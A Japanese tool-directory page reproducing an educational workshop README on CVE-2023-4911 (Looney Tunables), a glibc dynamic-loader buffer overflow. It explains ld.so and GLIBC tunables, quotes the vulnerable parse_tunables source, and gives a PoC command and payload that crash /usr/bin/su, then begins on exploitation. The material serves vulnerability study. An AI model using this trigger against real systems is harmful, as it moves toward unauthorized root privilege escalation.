Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-4911 — Looney Tunables ローカル特権昇格 (CVE-2023-4911) ワークショップ | Kitploit
ツール/GitHubGitHub/kernelkrise/cve-2023-4911
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践Archived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables ローカル特権昇格 (CVE-2023-4911) ワークショップ

リポジトリを見る
18392年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-4911-Looney-Tunables

Looney Tunables ローカル権限昇格 (CVE-2023-4911) ワークショップ (教育目的のみ)

リンク:

  • IPPSECのビデオ
  • Qualsysのブログ記事
  • Qualsysの技術詳細
  • エクスプロイトPOC Pythonスクリプト
  • GLIBCソース
  • GLIBCチューナブルのドキュメント

説明

ld.soとは?

コンピューティングにおいて、動的リンカーとは、実行可能ファイルが実行される際に、その実行ファイルが必要とする共有ライブラリをロードしてリンクするオペレーティングシステムの一部です。具体的には、永続ストレージからRAMにライブラリの内容をコピーし、ジャンプテーブルを埋め、ポインタを再配置します。

例えば、opensslライブラリを使ってmd5ハッシュを計算するプログラムがあるとします:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

ld.so はバイナリを解析し、<openssl/md5.h>に関連するライブラリを見つけようとします。```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

見てわかるように、必要な暗号ライブラリを /lib/x86_64-linux-gnu/libcrypto.so.3 に見つけます。プログラム起動時に、このライブラリのコードをプロセスRAMに配置し、このライブラリへのすべての参照をリンクします。

Summary

プログラムが起動されると、このローダーはまずプログラムを調べて、必要な共有ライブラリを特定します。次に、これらのライブラリを検索し、メモリにロードし、実行時に実行可能ファイルとリンクします。その過程で、動的ローダーはシンボル参照(関数や変数の参照など)を解決し、プログラムの実行に必要なすべてが整っていることを保証します。その役割から、動的ローダーはセキュリティ上非常に重要であり、ローカルユーザーがset-user-IDまたはset-group-IDプログラムを起動すると、そのコードは昇格された権限で実行されます。

GLIBC Tunablesとは?

Tunablesは、GNU Cライブラリの機能で、アプリケーション作成者やディストリビューションのメンテナーがランタイムライブラリの動作をワークロードに合わせて変更できるようにするものです。これらは、さまざまな方法で変更可能なスイッチのセットとして実装されています。現在のデフォルトの方法は、GLIBC_TUNABLES環境変数を使用して、コロン区切りのname=valueペアの文字列に設定することです。例えば、次の例ではmallocチェックを有効にし、mallocのトリミングしきい値を128バイトに設定します。``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

動的ローダに `--list-tunables` を渡すと、すべての tunables の最小値と最大値を表示する:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

脆弱性の説明

実行のごく最初に、ld.so は __tunables_init() を呼び出して環境変数を調べ(279行目)、GLIBC_TUNABLES 変数を検索します(282行目)。見つかった GLIBC_TUNABLES ごとに、この変数のコピーを作成し(284行目)、parse_tunables() を呼び出してこのコピーを処理およびサニタイズし(286行目)、最後に元の GLIBC_TUNABLES をこのサニタイズされたコピーで置き換えます(288行目)。```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

parse_tunables() の第1引数 (tunestr) はサニタイズされようとしている GLIBC_TUNABLES のコピーを指し、第2引数 (valstring) は元の GLIBC_TUNABLES 環境変数(スタック上)を指します。GLIBC_TUNABLES のコピー(形式は `"tunable1=\`aaa:tunable2=bbb"`"` であるべき)をサニタイズするために、parse_tunables() は tunestr からすべての危険なチューナブル(SXID_ERASE チューナブル)を削除しますが、SXID_IGNORE と NONE チューナブルは保持します(221-235行目):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

残念ながら、GLIBC_TUNABLES環境変数が"tunable1=tunable2=AAA"の形式である場合("tunable1"と"tunable2"はSXID_IGNOREチューナブル、例えば"glibc.malloc.mxfast")、次のようになります:

  • parse_tunables()内の"while (true)"の最初の反復中に、 "tunable1=tunable2=AAA"全体がその場でtunestrにコピーされ(221-235行目)、 その結果tunestrが満杯になります;

  • 247-248行目で、pはインクリメントされません(p[len]は'\0'です。なぜなら203-204行目で':'が見つからなかったため)、 したがってpはまだ"tunable1"の値、すなわち"tunable2=AAA"を指しています;

  • parse_tunables()内の"while (true)"の2回目の反復中に、 "tunable2=AAA"が(まるで2番目のチューナブルであるかのように)tunestrに追加され(すでに満杯です)、 その結果tunestrがオーバーフローします。

PoC

コマンド:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

ペイロード:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

Exploitation

この脆弱性は単純なバッファオーバーフローですが、任意のコード実行を達成するためには何を上書きすればよいでしょうか? オーバーフローさせるバッファは、tunables_strdup() によって284行目で割り当てられます。tunables_strdup() は strdup() の再実装であり、glibc の malloc() ではなく ld.so の __minimal_malloc() を使用します(実際、glibc の malloc() はまだ初期化されていません)。この __minimal_malloc() の実装は、単に mmap() を呼び出してカーネルからメモリを取得します。

ツールをダウンロード